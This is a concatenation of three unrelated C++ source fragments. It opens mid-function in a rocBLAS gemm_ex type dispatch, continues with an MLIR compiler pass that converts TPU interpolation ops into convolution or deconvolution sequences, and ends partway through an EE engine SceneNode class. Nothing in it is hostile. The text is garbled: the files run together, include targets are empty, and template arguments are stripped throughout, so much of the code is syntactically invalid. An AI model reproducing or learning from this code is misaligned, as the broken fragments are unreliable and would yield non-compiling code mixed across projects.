trans_a, trans_b, m, n, k, alpha, a, lda, stride_a, b, ldb, stride_b, beta, c, ldc, stride_c, d, ldd, stride_d, batch_count); } else if(a_type == rocblas_datatype_f32_r && b_type == rocblas_datatype_f32_r && c_type == rocblas_datatype_f32_r && d_type == rocblas_datatype_f32_r && compute_type == rocblas_datatype_f32_r) { rb_status = gemm_ex_typecasting(handle, trans_a, trans_b, m, n, k, alpha, a, lda, stride_a, b, ldb, stride_b, beta, c, ldc, stride_c, d, ldd, stride_d, batch_count); } else if(a_type == rocblas_datatype_f16_r && b_type == rocblas_datatype_f16_r && c_type == rocblas_datatype_f16_r && d_type == rocblas_datatype_f16_r && compute_type == rocblas_datatype_f16_r) { rb_status = gemm_ex_typecasting<_Float16, _Float16, _Float16>(handle, trans_a, trans_b, m, n, k, alpha, a, lda, stride_a, b, ldb, stride_b, beta, c, ldc, stride_c, d, ldd, stride_d, batch_count); } else if(a_type == rocblas_datatype_f16_r && b_type == rocblas_datatype_f16_r && c_type == rocblas_datatype_f16_r && d_type == rocblas_datatype_f16_r && compute_type == rocblas_datatype_f32_r) { rb_status = gemm_ex_typecasting<_Float16, _Float16, float>(handle, trans_a, trans_b, m, n, k, alpha, a, lda, stride_a, b, ldb, stride_b, beta, c, ldc, stride_c, d, ldd, stride_d, batch_count); } else if(a_type == rocblas_datatype_i8_r && b_type == rocblas_datatype_i8_r && c_type == rocblas_datatype_i32_r && d_type == rocblas_datatype_i32_r && compute_type == rocblas_datatype_i32_r) { // For now, K must be a multiple of 4 if(k % 4 != 0 || ((trans_a == rocblas_operation_transpose) && (lda % 4 != 0)) || ((trans_b == rocblas_operation_none) && (ldb % 4 != 0)) || stride_a % 4 != 0 || stride_b % 4 != 0) { rb_status = rocblas_status_invalid_size; } else { // adjust by 4 for Tensile lda = (trans_a == rocblas_operation_none) ? lda : lda / 4; ldb = (trans_b == rocblas_operation_none) ? ldb / 4 : ldb; stride_a = stride_a / 4; stride_b = stride_b / 4; k = k / 4; rb_status = gemm_ex_typecasting(handle, trans_a, trans_b, m, n, k, alpha, a, lda, stride_a, b, ldb, stride_b, beta, c, ldc, stride_c, d, ldd, stride_d, batch_count); } } else { rb_status = rocblas_status_not_implemented; } return rb_status; } //===- ConvertInterp.cpp - convert Conv2D----------------------------------===// // // Copyright 2019 The MLIR Authors. // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // ============================================================================= // // This file implements the conversion of Conv2D. // //===----------------------------------------------------------------------===// #include "tpuc/Dialect/TPU/TPUDialect.h" #include "tpuc/TPUOperationSupport.h" #include "tpuc/TPUTensorSupport.h" #include "tpuc/Passes.h" #include "mlir/IR/BlockAndValueMapping.h" #include "mlir/IR/Builders.h" #include "mlir/IR/BuiltinTypes.h" #include "mlir/IR/PatternMatch.h" #include "mlir/Pass/Pass.h" #include "tpuc/Support/TensorFile.h" #include "llvm/Support/raw_ostream.h" #include "llvm/Support/FormatVariadic.h" #include // ceilf/floorf #include "tpuc/SimpleAnalysis.h" #define DEBUG_TYPE "convert_conv" using namespace mlir; namespace { void getInterpHWScale( const int height1, const int width1, const int height2, const int width2, float* rheight, float* rwidth) { if (height1 == 1) { *rheight = height2; } else { *rheight = static_cast(height2 - 1) / (height1 - 1); } if (width1 == 1) { *rwidth = width2; } else { *rwidth = static_cast(width2 - 1) / (width1 - 1); } } // \floatDividend if gived, it should be find one divisor that the range should be in // floatDividend < x < 2 * floatDividend // e.g: getDivisors(32, 5) should be 4 * 8, 5< 8 < 10 std::pair >, int> getDivisors(int n, int floatDividend = 0, bool isInsInConv = true) { std::vector > divisors; int insertMax = 14; if (!isInsInConv) { insertMax = n; // directly use dilate op } auto div = [&](int n) mutable -> int { // FIXME: depends by hw, 14 is the max size of insert number if (n < insertMax) { return n; // no need to slice } for (int i=sqrt(n); i > 1; i--) { if (n%i == 0 && i < insertMax) { return i; } } return 0; }; int maxFloatDividend = 0; if (floatDividend) { // check possible divisors's range between \floatDividend floatDividend; i--) { float is_disivible = n / (float)i; if ((ceilf(is_disivible) == is_disivible && floorf(is_disivible) == is_disivible)) { found = 1; break; } } if (found) { n = n / i; maxFloatDividend = i; } else { return std::make_pair(divisors, maxFloatDividend); } } while (n != 1) { int d = div(n); if (!d) { divisors.clear(); break; } divisors.push_back(std::make_pair(d, 1)); n = n / d; } return std::make_pair(divisors, maxFloatDividend); } struct TpuMergeInterpToConv2DPattern : public RewritePattern { TpuMergeInterpToConv2DPattern(MLIRContext *context) : RewritePattern("tpu.interp", 1, context) {} LogicalResult matchAndRewrite(Operation *op, PatternRewriter &rewriter) const override { auto _interpOp = cast(op); std::string op_name = _interpOp.name().str(); LLVM_DEBUG(llvm::errs() << _interpOp.getOperationName() << ":" << getOpName(op)<< "\n";); // parse param // input std::vector shape; int64_t input_size, in, ic, ih, iw; getTensorShapeAndSize(op->getOperand(0), shape, input_size); getNCHW(shape, in, ic, ih, iw); // output auto resultT = std::make_unique >(input_size); std::vector output_shape; int64_t output_size, oh, ow; getTensorShapeAndSize(op->getResult(0), output_shape, output_size); oh = output_shape[2]; ow = output_shape[3]; std::string ctd = _interpOp.coordinate_transformation_mode().str(); if (ctd != "align_corners"){ return failure(); } if (oh == ih && ow == iw) { // no need to do interp, just delete it rewriter.eraseOp(op); return success(); } // replace with conv under \is_shrink is true, // otherwise, leverage deconv bool is_shrink = true; int oc = ic; int filter_size = 0; int stride_h = 0, stride_w = 0; int dilation_h = 1, dilation_w = 1; float filter_val = 0; std::vector filter_shape; auto pad_beg_ = _interpOp.pad_beg(); auto pad_end_ = _interpOp.pad_end(); assert(!pad_beg_ && !pad_end_ && "not support pad_begin/pad_end yet"); auto shrink_factor = _interpOp.shrink_factor(); auto zoom_factor = _interpOp.zoom_factor(); if (shrink_factor && !zoom_factor) { assert(shrink_factor >= 1 && "Shrink factor must be positive"); filter_size = shrink_factor * shrink_factor; filter_val = 1 / (float)filter_size; filter_shape = {oc, ic, shrink_factor, shrink_factor}; stride_h = shrink_factor; stride_w = shrink_factor; } else if (zoom_factor && !shrink_factor) { assert(zoom_factor >= 1 && "Zoom factor must be positive"); } else if (_interpOp.height() && _interpOp.width()) { if (oh > ih && ow > iw) { // zoom is_shrink = false; } else if (oh < ih && ow < iw) { // shrink } else { std::string errorMsg = std::string(__func__) + " failed, Op " + op->getName().getStringRef().str() + " not support ih/iw" + std::to_string(ih) + "/" + std::to_string(iw) + ", oh/ow:" + std::to_string(oh) + "/" + std::to_string(ow) + "\n"; llvm_unreachable(errorMsg.c_str()); } } else if (zoom_factor && shrink_factor) { std::string errorMsg = std::string(__func__) + " failed, Op " + op->getName().getStringRef().str() + " not support yet zoom_factor:" + std::to_string(zoom_factor) + "/shrink_factor:" + std::to_string(shrink_factor) + "\n"; if (zoom_factor > 1 && shrink_factor > 1) { // TODO: shrink and zoom //height_out_ = (height_in_eff_ - 1) / shrink_factor + 1; //width_out_ = (width_in_eff_ - 1) / shrink_factor + 1; //height_out_ = height_out_ + (height_out_ - 1) * (zoom_factor - 1); //width_out_ = width_out_ + (width_out_ - 1) * (zoom_factor - 1); llvm_unreachable(errorMsg.c_str()); } if (zoom_factor == 1) { assert(shrink_factor >= 1 && "Shrink factor must be positive"); filter_size = shrink_factor * shrink_factor; //filter_val = 1 / (float)filter_size; filter_val = 1; // nearnest filter_shape = {oc, ic, (int64_t)shrink_factor, (int64_t)shrink_factor}; stride_h = shrink_factor; stride_w = shrink_factor; } else if (shrink_factor == 1) { // zoom is_shrink = false; int height_in_eff_ = ih + pad_beg_ + pad_end_; int width_in_eff_ = iw + pad_beg_ + pad_end_; int height_out_ = height_in_eff_ + (height_in_eff_ - 1) * (zoom_factor - 1); int width_out_ = width_in_eff_ + (width_in_eff_ - 1) * (zoom_factor - 1); assert(height_out_ == oh && width_out_ == ow && "oh/ow not equal with frontend's"); } else { llvm_unreachable(errorMsg.c_str()); } } TensorFile *wTF = getWeightTensorFile(op); Value wfV = getWeightFileValue(op); auto loc = op->getLoc(); // calcuate scale float rwidth = 0.f; float rheight = 0.f; int rwidthInt = 0; int rheightInt = 0; if (is_shrink) { getInterpHWScale(oh, ow, ih, iw, &rheight, &rwidth); if ((ceilf(rheight) == rheight && floorf(rheight) == rheight) && ((ceilf(rwidth) == rwidth && floorf(rwidth) == rwidth))) { // replace with conv int inner_size = filter_size * ic; std::vector new_filter(inner_size * oc, 0); for (int i = 0; i < oc; ++i) { // only fill one channel by oc std::fill(new_filter.begin() + i * inner_size + i * filter_size, new_filter.begin() + i * inner_size + i * filter_size + 1, filter_val); //nearnest //std::fill(new_filter.begin() + i * inner_size + i * filter_size, // new_filter.begin() + i * inner_size + (i+1) * filter_size, // filter_val); } std::vector *> newWeights{ &new_filter }; std::vector > weightShapes{ filter_shape }; std::vector newOperands; newOperands.push_back(_interpOp.getOperand(0)); // add new filter and no bias ops for (int i = 0; i < 1; ++i) { auto tensor_name = op_name + "_conv_" + std::to_string(i); LLVM_DEBUG(llvm::errs() << " new_weight[" << i << "] : " << tensor_name << "\n";); auto type = RankedTensorType::get(weightShapes[i], FloatType::getF32(rewriter.getContext())); wTF->addTensor(tensor_name, newWeights[i], type); std::vector attrs; attrs.push_back(rewriter.getNamedAttr("name", rewriter.getStringAttr(tensor_name))); auto new_weight_op = rewriter.create(loc, type, ArrayRef{wfV}, ArrayRef{attrs}); newOperands.push_back(new_weight_op); } auto NoneOp = rewriter.create( rewriter.getUnknownLoc(), rewriter.getNoneType()); newOperands.push_back(NoneOp.getResult()); // bias newOperands.push_back(NoneOp.getResult()); // quant_scale newOperands.push_back(NoneOp.getResult()); // quant_zeropoint newOperands.push_back(NoneOp.getResult()); // quant_rshift newOperands.push_back(NoneOp.getResult()); // quant_multiplier std::vector attrs; attrs.push_back(rewriter.getNamedAttr("name", rewriter.getStringAttr(op_name))); attrs.push_back(rewriter.getNamedAttr("param", tpu::ConvParam::get( rewriter.getI32IntegerAttr(filter_shape[2]), rewriter.getI32IntegerAttr(filter_shape[3]), rewriter.getI32IntegerAttr(stride_h), rewriter.getI32IntegerAttr(stride_w), rewriter.getStringAttr("VALID"), // convOp.param().padding rewriter.getI32IntegerAttr(dilation_h), rewriter.getI32IntegerAttr(dilation_w), rewriter.getI32IntegerAttr(0), //convOp.param().padding_t(), rewriter.getI32IntegerAttr(1), //convOp.param().padding_b(), rewriter.getI32IntegerAttr(0), //convOp.param().padding_l(), rewriter.getI32IntegerAttr(1), //convOp.param().padding_r(), rewriter.getI32IntegerAttr(1), //convOp.param().group(), rewriter.getBoolAttr(false), //convOp.param().is_dw(), rewriter.getBoolAttr(false), //bias rewriter.getI32ArrayAttr(ArrayRef({})), // [0]ins_w/[1]ins_h rewriter.getI32IntegerAttr(0), //pad_value rewriter.getContext()))); attrs.push_back(rewriter.getNamedAttr("quant", getDefaultQuantParam(rewriter))); rewriter.replaceOpWithNewOp( _interpOp, _interpOp.getResult().getType(), ArrayRef{newOperands}, ArrayRef{attrs}); } else { LLVM_DEBUG(llvm::errs() << " not support shrink from oh/ow(" << oh << "/" << ow << ") to ih/iw(" << ih << "/" << iw << ") " << op_name << "\n";); return failure(); } } else { int kh = -1; int kw = -1; // keep Dividend / Divisor for later non-divisable std::vector > maxInsertWAtOnce; std::vector > maxInsertHAtOnce; // seperate Dividend, Divisor as scale to deal with float case // scale[0] as h, scale[1] for w // pair is Dividend / Divisor SmallVector, 2> scale = {{0,0}, {0,0}}; getInterpHWScale(ih, iw, oh, ow, &rheight, &rwidth); int floatDividend = 0; int maxFloatDividend = 0; // TODO: slice h/w under ins case bool isInsInConv = false; // deal with non divisable case // h if ((ceilf(rheight) == rheight && floorf(rheight) == rheight)) { // integer case rheightInt = int(rheight); std::tie(maxInsertHAtOnce, maxFloatDividend) = getDivisors(rheightInt); } else { // 2047 / 63 = 89 * 23 / 7 * 9 // float case: e.g: 6->33 = 6 * (2/5) floatDividend = ih - 1; std::tie(maxInsertHAtOnce, maxFloatDividend) = getDivisors(oh - 1, floatDividend); if (!maxInsertHAtOnce.size()) { // TODO: merge info into scale std::vector > ohDivisors; std::vector > ihDivisors; std::tie(ohDivisors, maxFloatDividend) = getDivisors(oh - 1, 0, isInsInConv); std::tie(ihDivisors, maxFloatDividend) = getDivisors(ih - 1, 0, isInsInConv); if (!ohDivisors.size()) { ohDivisors.push_back(std::make_pair(oh - 1, 1)); } if (!ihDivisors.size()) { ihDivisors.push_back(std::make_pair(ih - 1, 1)); } auto maxCount = std::max(ohDivisors.size(), ihDivisors.size()); for (int i = 0; i < (int)maxCount; i++) { int ohDivisor = i < (int)ohDivisors.size() ? ohDivisors[i].first : 1; int ihDivisor = i < (int)ihDivisors.size() ? ihDivisors[i].first : 1; maxInsertHAtOnce.push_back(std::make_pair(ohDivisor, ihDivisor)); } } else { scale[0] = (std::make_pair(maxFloatDividend, floatDividend)); } } // w if ((ceilf(rwidth) == rwidth && floorf(rwidth) == rwidth)) { // integer case rwidthInt = int(rwidth); std::tie(maxInsertWAtOnce, maxFloatDividend) = getDivisors(rwidthInt); } else { // float case: e.g: 6->33 = 6 * (2/5) // we seleprate integer part and float part // 6->33 = 32 / 5 = 4 * (8/5) = 4x . 8/5 // 8/5 which means we insert (8-1) and stride = 5 // NOTICE: float part SHOULD BE 1 > owDivisors; std::vector > iwDivisors; std::tie(owDivisors, maxFloatDividend) = getDivisors(ow - 1, 0, isInsInConv); std::tie(iwDivisors, maxFloatDividend) = getDivisors(iw - 1, 0, isInsInConv); if (!owDivisors.size()) { owDivisors.push_back(std::make_pair(ow - 1, 1)); } if (!iwDivisors.size()) { iwDivisors.push_back(std::make_pair(iw - 1, 1)); } auto maxCount = std::max(owDivisors.size(), iwDivisors.size()); for (int i = 0; i < (int)maxCount; i++) { int owDivisor = i < (int)owDivisors.size() ? owDivisors[i].first : 1; int iwDivisor = i < (int)iwDivisors.size() ? iwDivisors[i].first : 1; maxInsertWAtOnce.push_back(std::make_pair(owDivisor, iwDivisor)); } } else { scale[1] = (std::make_pair(maxFloatDividend, floatDividend)); } } // construct conv with insert/padding auto input = op->getOperand(0); auto input_type = input.getType().cast(); auto input_shape = input_type.getShape(); int g = input_shape[1]; // g == ic for depthwise auto NoneOp = OpBuilder(op).create(rewriter.getUnknownLoc(), rewriter.getNoneType()); int _ic = ic; int _oc = oc; int _ih = ih; int _iw = iw; // NOTICE: 1x1 ALWAYS fill the same value int is1x1Input = ih == 1 && ih == iw; if (is1x1Input && (!maxInsertHAtOnce.size() || !maxInsertWAtOnce.size())) { // deeplabv3_mobilenetv2 case // 1x1->46x80 case that 46 seperate 2x23 and the limitation of dilate // is 15, replace with upsample case(tiu copy) std::vector attrs; std::vector operands; attrs.push_back( rewriter.getNamedAttr("name", _interpOp.nameAttr())); attrs.push_back( rewriter.getNamedAttr("scale_h", rewriter.getI32IntegerAttr(oh))); attrs.push_back( rewriter.getNamedAttr("scale_w", rewriter.getI32IntegerAttr(ow))); attrs.push_back( rewriter.getNamedAttr("quant", getDefaultQuantParam(rewriter))); operands.push_back(input); operands.push_back(NoneOp.getResult()); auto upsample = rewriter.create( op->getLoc(), op->getResult(0).getType().cast(), operands, attrs); rewriter.replaceOp(op, {upsample}); return success(); } // check for hw spec, ins/stride range is 0-15 in 1835 for (auto h_ins_stride : maxInsertHAtOnce) { int stride, ins; std::tie(ins, stride) = h_ins_stride; if (ins > 15 || stride > 15) { LLVM_DEBUG(llvm::errs() << "h-params over hardware limitation, leverage cpu," << "ins/stride is:" << ins << "/" << stride << "\n";); return failure(); } } for (auto w_ins_stride : maxInsertWAtOnce) { int stride, ins; std::tie(ins, stride) = w_ins_stride; if (ins > 15 || stride > 15) { LLVM_DEBUG(llvm::errs() << "w-params over hardware limitation, leverage cpu," << "ins/stride is:" << ins << "/" << stride << "\n";); return failure(); } } int loop = std::max(maxInsertHAtOnce.size(), maxInsertWAtOnce.size()); auto calc_dilute_hw = [&](int h, int ins_h, int ins_h_l, int pad_h_b, int pad_h_t) mutable -> int { return (h - 1) * (ins_h + 1) + ins_h_l + 1 + pad_h_t + pad_h_b; }; auto calc_output_hw = [&](int hw, int khw, int stride) mutable -> int { return (hw - khw)/stride + 1; }; auto createConvAttr = [&]( std::vector kernel, std::vector stride, std::vector dilation, std::vector padding, int g, bool is_dw, bool with_bias, std::vector ins) mutable -> std::vector { std::vector attrs; attrs.push_back(rewriter.getNamedAttr("param", tpu::ConvParam::get( rewriter.getI32IntegerAttr(kernel[0]), rewriter.getI32IntegerAttr(kernel[1]), rewriter.getI32IntegerAttr(stride[0]), rewriter.getI32IntegerAttr(stride[1]), rewriter.getStringAttr("VALID"), rewriter.getI32IntegerAttr(dilation[0]), rewriter.getI32IntegerAttr(dilation[1]), rewriter.getI32IntegerAttr(padding[0]), // top rewriter.getI32IntegerAttr(padding[1]), // bottom rewriter.getI32IntegerAttr(padding[2]), rewriter.getI32IntegerAttr(padding[3]), rewriter.getI32IntegerAttr(g), rewriter.getBoolAttr(is_dw), rewriter.getBoolAttr(with_bias), rewriter.getI32ArrayAttr(ArrayRef({ins})), // [0]ins_w/[1]ins_h rewriter.getI32IntegerAttr(0), //pad_value rewriter.getContext()))); return attrs; }; auto createConv2D = [&](Value input, int d, bool isNonDivisible = false) mutable -> std::tuple, std::vector, RankedTensorType > { if (_ih == 1 || _iw == 1) { assert(_iw == _ih && "not support asymmetrical under _ih = 1 or _iw = 1"); } rheightInt = 1; rwidthInt = 1; std::vector kernel(2), stride(2), dilation(2), padding(4); std::vector ins(2), _ins(2); // TODO: support d not integer case, e.g: d = 1.3 stride[0] = 1; // sh stride[1] = 1; // sw if (isNonDivisible) { if (scale[0].first) { std::tie(rheightInt, stride[0]) = scale[0]; } if (scale[1].first) { std::tie(rwidthInt, stride[1]) = scale[1]; } } else { int divisor, dividend; if (d < (int)maxInsertHAtOnce.size()) { // star with 0 std::tie(dividend, divisor) = maxInsertHAtOnce[d]; float rheight = dividend / (float)divisor; if ((ceilf(rheight) == rheight && floorf(rheight) == rheight)) { rheightInt = rheight;//divisible } else { stride[0] = divisor; // sh rheightInt = dividend; // hw ins_w } } if (d < (int)maxInsertWAtOnce.size()) { // star with 0 std::tie(dividend, divisor) = maxInsertWAtOnce[d]; float rwidth = dividend / (float)divisor; if ((ceilf(rwidth) == rwidth && floorf(rwidth) == rwidth)) { rwidthInt = rwidth; //divisible } else { stride[1] = divisor; rwidthInt = dividend; // hw ins_w } } } // init parameter kh = (rheightInt - 1) * 2 + 1; kw = (rwidthInt - 1) * 2 + 1; bool is_dw = true; bool with_bias = false; kernel[0] = kh; kernel[1] = kw; dilation[0] = dilation[1] = 1; ins[0] = rwidthInt - 1; // hw ins_w ins[1] = rheightInt - 1; // hw ins_h _ins = ins; padding[0] = padding[1] = rheightInt - 1; // padding top/bottom padding[2] = padding[3] = rwidthInt - 1; // padding left/right // depthwise case _oc = 1; _ic = 1; if (is1x1Input) { kh = rheightInt; kw = rwidthInt; stride[0] = kh; stride[1] = kw; padding[2] = padding[3] = padding[0] = padding[1] = 0; ins.clear(); } // init filter int count = g * _ic * _oc * kh * kw; // depthewise, ic == oc std::vector filter(count, 1); std::vector filter_shape; if (is1x1Input) { // default fill to 1 } else { // fill filter from corner for (int i = 0; i < kh / 2 + 1; i++) { for (int j = 0; j < kw / 2 + 1; j++) { float f = (i + 1) * (j + 1) / float(rheightInt * rwidthInt); filter.data()[i * kw + j] = f; filter.data()[i * kw + (kw-1)-j] = f; filter.data()[(kh-1-i) * kw + j] = f; filter.data()[(kh-1-i) * kw + (kw-1)-j] = f; } } // duplicate to ic oc g int j = _ic * _oc * g; int khw = kh * kw; for (int i = 1; i < j; i++) { std::copy(filter.data(), filter.data() + khw, filter.data() + i * khw); } } if (g != 1) { filter_shape.push_back(g); } filter_shape.push_back(_oc); filter_shape.push_back(_ic); filter_shape.push_back(kh); filter_shape.push_back(kw); // prepare filter auto filterValue = addWeightTensorAndCreateWeightOp(op, std::to_string(d) + "_filter", filter, filter_shape, "NONE", wTF, wfV); // it could Dilated in activation in hw once `ins` set // the final output should be input->Dilated(ins_w/ins_h)->conv std::vector top_dim(2); // [0] is h, [1] is w _oc = ic; //depthwise case std::string prefix = llvm::formatv("_{0}_", std::to_string(d)).str(); if (!is1x1Input) { // to check memory usage per lane // create fake op for check std::vector operands; operands.push_back(input); operands.push_back(filterValue); operands.push_back(NoneOp.getResult()); // bias operands.push_back(NoneOp.getResult()); // quant_scale operands.push_back(NoneOp.getResult()); // quant_zeropoint operands.push_back(NoneOp.getResult()); // quant_rshift operands.push_back(NoneOp.getResult()); // quant_multiplier kernel[0] = kh; kernel[1] = kw; std::vector attrs = createConvAttr(kernel, stride, dilation, padding, g, is_dw, with_bias, ins); attrs.push_back(rewriter.getNamedAttr("name", rewriter.getStringAttr("fakeop"))); int ih_ext = calc_dilute_hw(_ih, ins[1], 0, padding[0], padding[1]); int iw_ext = calc_dilute_hw(_iw, ins[0], 0, padding[2], padding[3]); top_dim[0] = calc_output_hw(ih_ext, kh, stride[0]); // oh top_dim[1] = calc_output_hw(iw_ext, kw, stride[1]); // ow RankedTensorType dilateOutput = RankedTensorType::get( {in, _oc, top_dim[0], top_dim[1]}, input_type.getElementType()); auto fakeOp = rewriter.create(loc, dilateOutput, ArrayRef{operands}, ArrayRef{attrs}); // FIXME: no need init every travel MInfo::getChipInfo("cv183x"); assert(MInfo::version && "refer to set-chip"); uint64_t totalPerLane = SimpleConv2DMemoryUsageAnalysis(fakeOp, NULL); // depthwse with ins SHOULD not slice h/w // just slice ic, -> int chunkPerLane = (ic + MInfo::lane_num) / MInfo::lane_num; if (!isInsInConv || totalPerLane / chunkPerLane > MInfo::lmem_per_lane) { // if lmem not enough LLVM_DEBUG(llvm::errs() << _interpOp.nameAttr().getValue() << ", lmem not enough, dynamic add dilate op\n"); // create dilateOp if need top_dim[0] = calc_dilute_hw(_ih, ins[1], 0, 0, 0); top_dim[1] = calc_dilute_hw(_iw, ins[0], 0, 0, 0); // init output RankedTensorType output = RankedTensorType::get( {in, _oc, top_dim[0], top_dim[1]}, input_type.getElementType()); // init input operands.clear(); operands.push_back(input); // init attr std::vector attrs; attrs.push_back(rewriter.getNamedAttr("ins", rewriter.getI32ArrayAttr(ArrayRef({ins}))));// [0]ins_w/[1]ins_h attrs.push_back(rewriter.getNamedAttr("name", rewriter.getStringAttr(prefix + "_dilate_" + _interpOp.nameAttr().getValue().str()))); attrs.push_back(rewriter.getNamedAttr("fill_constant", rewriter.getI32IntegerAttr(0))); // default insert 0 attrs.push_back( rewriter.getNamedAttr("quant", getDefaultQuantParam(rewriter))); auto dilateOp = rewriter.create(loc, output, ArrayRef{operands}, ArrayRef{attrs}); input = dilateOp.getResult(); ins = {0, 0}; // no dilate in conv } } // prepare output operands std::vector operands; operands.push_back(input); operands.push_back(filterValue); operands.push_back(NoneOp.getResult()); // bias operands.push_back(NoneOp.getResult()); // quant_scale operands.push_back(NoneOp.getResult()); // quant_zeropoint operands.push_back(NoneOp.getResult()); // quant_rshift operands.push_back(NoneOp.getResult()); // quant_multiplier // prepare attr kernel[0] = kh; kernel[1] = kw; std::vector attrs = createConvAttr(kernel, stride, dilation, padding, g, is_dw, with_bias, ins); if (loop - 1 == d) { // last one replace the interp name for compare prefix = ""; } attrs.push_back(rewriter.getNamedAttr("name", rewriter.getStringAttr(prefix + _interpOp.nameAttr().getValue().str()))); attrs.push_back( rewriter.getNamedAttr("quant", getDefaultQuantParam(rewriter))); // prepare output shape if (is1x1Input) { // upsample top_dim[0] = _ih * stride[0]; top_dim[1] = _iw * stride[1]; } else { int ih_ext = calc_dilute_hw(_ih, _ins[1], 0, padding[0], padding[1]); int iw_ext = calc_dilute_hw(_iw, _ins[0], 0, padding[2], padding[3]); top_dim[0] = calc_output_hw(ih_ext, kh, stride[0]); // oh top_dim[1] = calc_output_hw(iw_ext, kw, stride[1]); // ow } auto input_type = input.getType().cast(); RankedTensorType output = RankedTensorType::get( {in, _oc, top_dim[0], top_dim[1]}, input_type.getElementType()); return std::make_tuple(operands, attrs, output); }; // recursive add tpu::DeConv2DOp deconv2d; tpu::Conv2DOp conv2d; int d_start = -1; if (scale[0].first != 0 || scale[1].first != 0) { d_start = loop; loop++; // put later for accuracy } for (int d = 0; d < loop; d++) { std::vector operands; std::vector attrs; RankedTensorType output; std::tie(operands, attrs, output) = createConv2D(input, d, d == d_start); if (is1x1Input) { // just deconv(upsample) it deconv2d = rewriter.create(loc, output, ArrayRef{operands}, ArrayRef{attrs}); input = deconv2d.getResult(); } else { conv2d = rewriter.create(loc, output, ArrayRef{operands}, ArrayRef{attrs}); input = conv2d.getResult(); } // intpu as previous output auto input_type = input.getType().cast(); auto input_shape = input_type.getShape(); _ih = input_shape[2]; // next input's shape _iw = input_shape[3]; int hardwareHWMax = 4095 - 32; std::vector curr_output_shape; int64_t curr_output_size; getTensorShapeAndSize(operands[0], curr_output_shape, curr_output_size); if (curr_output_shape[2] > hardwareHWMax || curr_output_shape[3] > hardwareHWMax) { LLVM_DEBUG(llvm::errs() << "hw over hardware limitation, leverage cpu, hw is:" << curr_output_shape[2] << "/" << curr_output_shape[3] << "\n";); return failure(); } } // interp's output SHOULD BE EQ with conv's std::vector conv_output_shape; int64_t conv_on, conv_oc, conv_oh, conv_ow; int64_t conv_output_size; getTensorShapeAndSize(input, conv_output_shape, conv_output_size); getNCHW(conv_output_shape, conv_on, conv_oc, conv_oh, conv_ow); assert((conv_on == in && conv_oc == oc && conv_oh == oh && conv_ow == ow) && "Transformsed conv shape SHOULD be equal with interp"); if (is1x1Input) { rewriter.replaceOp(_interpOp, {deconv2d}); } else { rewriter.replaceOp(_interpOp, {conv2d}); } } return success(); } }; class ConvertInterpToConvDeconvPass : public mlir::PassWrapper { public: explicit ConvertInterpToConvDeconvPass(llvm::raw_ostream &os = llvm::errs()) : os(os) {} void runOnFunction() override { auto fn = getFunction(); OwningRewritePatternList patterns; auto *context = &getContext(); patterns.insert(context); applyPatternsAndFoldGreedily(fn, std::move(patterns)); } private: llvm::raw_ostream &os; }; } // namespace void tpu::InterpOp::getCanonicalizationPatterns( OwningRewritePatternList &results, MLIRContext *context) { results.insert(context); } #include #include #include #include #include #include #include #include #include #include namespace EE { namespace Scene { SceneNode* SceneNode::New( EE::Window::Window* window ) { return eeNew( SceneNode, ( window ) ); } SceneNode::SceneNode( EE::Window::Window* window ) : Node(), mWindow( window ), mActionManager( ActionManager::New() ), mFrameBuffer( NULL ), mEventDispatcher( NULL ), mFrameBufferBound( false ), mUseInvalidation( false ), mUseGlobalCursors( true ), mUpdateAllChilds( true ), mResizeCb( -1 ), mDrawDebugData( false ), mDrawBoxes( false ), mHighlightOver( false ), mHighlightFocus( false ), mHighlightInvalidation( false ), mHighlightFocusColor( 234, 195, 123, 255 ), mHighlightOverColor( 195, 123, 234, 255 ), mHighlightInvalidationColor( 220, 0, 0, 255 ) { mNodeFlags |= NODE_FLAG_SCENENODE; mSceneNode = this; enableReportSizeChangeToChilds(); if ( NULL == mWindow ) { mWindow = Engine::instance()->getCurrentWindow(); } mResizeCb = mWindow->pushResizeCallback( cb::Make1( this, &SceneNode::resizeNode ) ); DisplayManager* displayManager = Engine::instance()->getDisplayManager(); int currentDisplayIndex = getWindow()->getCurrentDisplayIndex(); Display* currentDisplay = displayManager->getDisplayIndex( currentDisplayIndex ); mDPI = currentDisplay->getDPI(); resizeNode( window ); } SceneNode::~SceneNode() { if ( -1 != mResizeCb && NULL != Engine::existsSingleton() && Engine::instance()->existsWindow( mWindow ) ) { mWindow->popResizeCallback( mResizeCb ); } onClose(); eeSAFE_DELETE( mActionManager ); eeSAFE_DELETE( mEventDispatcher ); eeSAFE_DELETE( mFrameBuffer ); } void SceneNode::enableFrameBuffer() { if ( NULL == mFrameBuffer ) createFrameBuffer(); } void SceneNode::disableFrameBuffer() { eeSAFE_DELETE( mFrameBuffer ); writeNodeFlag( NODE_FLAG_FRAME_BUFFER, 0 ); } bool SceneNode::ownsFrameBuffer() const { return 0 != ( mNodeFlags & NODE_FLAG_FRAME_BUFFER ); } void SceneNode::draw() { GlobalBatchRenderer::instance()->draw(); const View& prevView = mWindow->getView(); mWindow->setView( mWindow->getDefaultView() ); if ( mVisible && 0 != mAlpha ) { updateScreenPos(); preDraw(); ClippingMask* clippingMask = GLi->getClippingMask(); std::list clips = clippingMask->getPlanesClipped(); if ( !clips.empty() ) clippingMask->clipPlaneDisable(); matrixSet(); if ( NULL == mFrameBuffer || !usesInvalidation() || invalidated() ) { clipStart(); drawChilds(); clipEnd(); } matrixUnset(); if ( !clips.empty() ) clippingMask->setPlanesClipped( clips ); postDraw(); writeNodeFlag( NODE_FLAG_VIEW_DIRTY, 0 ); } mWindow->setView( prevView ); GlobalBatchRenderer::instance()->draw(); } void SceneNode::update( const Time& time ) { mElapsed = time; mActionManager->update( time ); if ( NULL != mEventDispatcher ) mEventDispatcher->update( time ); checkClose(); if ( !mScheduledUpdateRemove.empty() ) { for ( auto it = mScheduledUpdateRemove.begin(); it != mScheduledUpdateRemove.end(); ++it ) mScheduledUpdate.erase( *it ); mScheduledUpdateRemove.clear(); } if ( !mScheduledUpdate.empty() ) { for ( auto& node : mScheduledUpdate ) node->scheduledUpdate( time ); } if ( mUpdateAllChilds ) { Node::update( time ); } else { for ( auto& nodeOver : mMouseOverNodes ) nodeOver->writeNodeFlag( NODE_FLAG_MOUSEOVER_ME_OR_CHILD, 0 ); } 